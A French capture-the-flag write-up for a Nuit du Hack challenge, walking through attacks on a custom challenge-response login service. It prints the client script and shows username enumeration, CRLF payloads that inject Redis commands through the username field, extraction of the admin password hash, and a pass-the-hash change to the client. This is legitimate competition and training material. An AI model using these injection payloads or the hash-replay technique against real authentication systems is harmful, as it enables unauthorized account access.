Enoncé :
"There is a building. Inside this building there is a level where no elevator can go, and no stair can reach. This level is filled with doors. These doors lead to many places. Hidden places. But one door is special. One door leads to the source." (The Keymaker) Find the key. Open the door. Static client @ http://static.challs.nuitduhack.com/SecureAuthClient.tar.gz Score 350 Link secureauth.challs.nuitduhack.com:4241
L'archive contient le script Python suivant :
import socket from hashlib import sha256 class SecureConnect_Client(): def __init__(self): self.sock = None self.username = None self.password = None def connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect(("151.80.18.93", 4241)) def login(self, username, password): self.username = username self.password = password challenge = self.get_challenge() authpacket = self.process_authpacket(username, password, challenge) print "[~] Sending auth packet..." self.sock.sendall(authpacket) def get_challenge(self): data = self.sock.recv(1024) if data[:9] == "CHALLENGE": print "[~] Server sent challenge : %s !" % data[10:-1] return data[10:-1] raise Exception("Bad challenge...") def process_authpacket(self, username, authtoken, challenge): packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest()) print "[+] Auth data : %s" % packet return packet def get_response(self): print self.sock.recv(1024) print self.sock.recv(1024) def close(self): self.sock.close() if __name__ == "__main__": scc = SecureConnect_Client() scc.connect() scc.login("username", "password") scc.get_response() scc.close()
Voici ce qu'on obtient quand on l'exécute :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI ! [+] Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9 [~] Sending auth packet... [!] Authentification Error : Invalid username. [-] Bad password or authentification error... !
En remplaçant username
par admin
, on obtient un message différent, qui nous semble indiquer que l'utilisateur Administrator
existe :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV ! [+] Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb [~] Sending auth packet... [+] Welcome Administrator we are verifying your password... [-] Bad password or authentification error... !
En essayant de jouer avec la valeur du username, en mettant par exemple username”
, on obtient le message suivant :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 ! [+] Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792 [~] Sending auth packet... [!] Authentification Error : Valid response code but no user data received : -ERR Protocol error: unbalanced quotes in request [-] Bad password or authentification error... !
L'erreur unbalanced quotes in request
semble provenir d'un serveur Redis, un moteur NoSQL, plus particulièrement dans le fichier networking.c :
http://download.redis.io/redis-stable/src/networking.c
En remplaçant l'username par admin\x0A\x0D
afin d'essayer de terminer la commande, on obtient :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB ! [+] Auth data : AUTH username |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da [~] Sending auth packet... [+] Welcome -ERR unknown command ':name' we are verifying your password... [-] Bad password or authentification error... !
On note au passage le préfixe :name
qui a tenté d'être interprêté comme une deuxième commande.
En essayant d'injecter des commandes (http://redis.io/commands), par exemple INFO
en mettant dans l'username la valeur admin\x0A\x0DINFO\x0A\x0D
, le serveur nous renvoie :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB ! [+] Auth data : AUTH admin INFO |30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3 [~] Sending auth packet... [+] Welcome -ERR unknown command 'INFO' we are verifying your password... [-] Bad password or authentification error... !
La commande INFO n'est pas reconnue, et après de nombres tests, on remarque qu'un grand nombre de commandes sont filtrées, mis à part la commande GET
.
On suppose donc qu'elle est utilisée pour récupérer le username et password dans la base NoSQL.
Avec un peu d'imagination, on tente de recréer les requêtes qui sont faites pour récupérer le login et mot de passe côté serveur :
username = GET <user>:name password = GET <user>:password
On essaye donc d'injecter admin:password\x0A\x0D
dans l'username, ce qui nous donne :
username = GET admin:password\x0A\x0D:name (le :name n'est pas interprêté) password = GET admin:password\x0A\x0D:password (le :password n'est pas interprêté)
Le serveur nous renvoie :
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ ! [+] Auth data : AUTH admin:password |606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3 [~] Sending auth packet... [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password... [-] Bad password or authentification error... !
Comme attendu, le serveur affiche l'username que nous avons remplacé par son password. Nous obtenons donc le sha256(admin_password)
qui est 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529
.
Pour rappel, le packet envoyé au serveur contenant le password est formé ainsi :
packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
authtoken est le password, et challenge est une chaîne aléatoire envoyée à chaque connexion par le serveur.
Maintenant que l'on connait le sha256(authtoken)
récupéré précédemment, on remplace donc cette ligne par :
packet = "AUTH %s|%s" % (username, sha256("837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529" + challenge).hexdigest())
On exécute à nouveau le script …
spl3en@box:~$ python SecureAuthClient.py [~] Server sent challenge : elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP ! [+] Auth data : AUTH admin:password |8baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4 [~] Sending auth packet... [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password... [+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*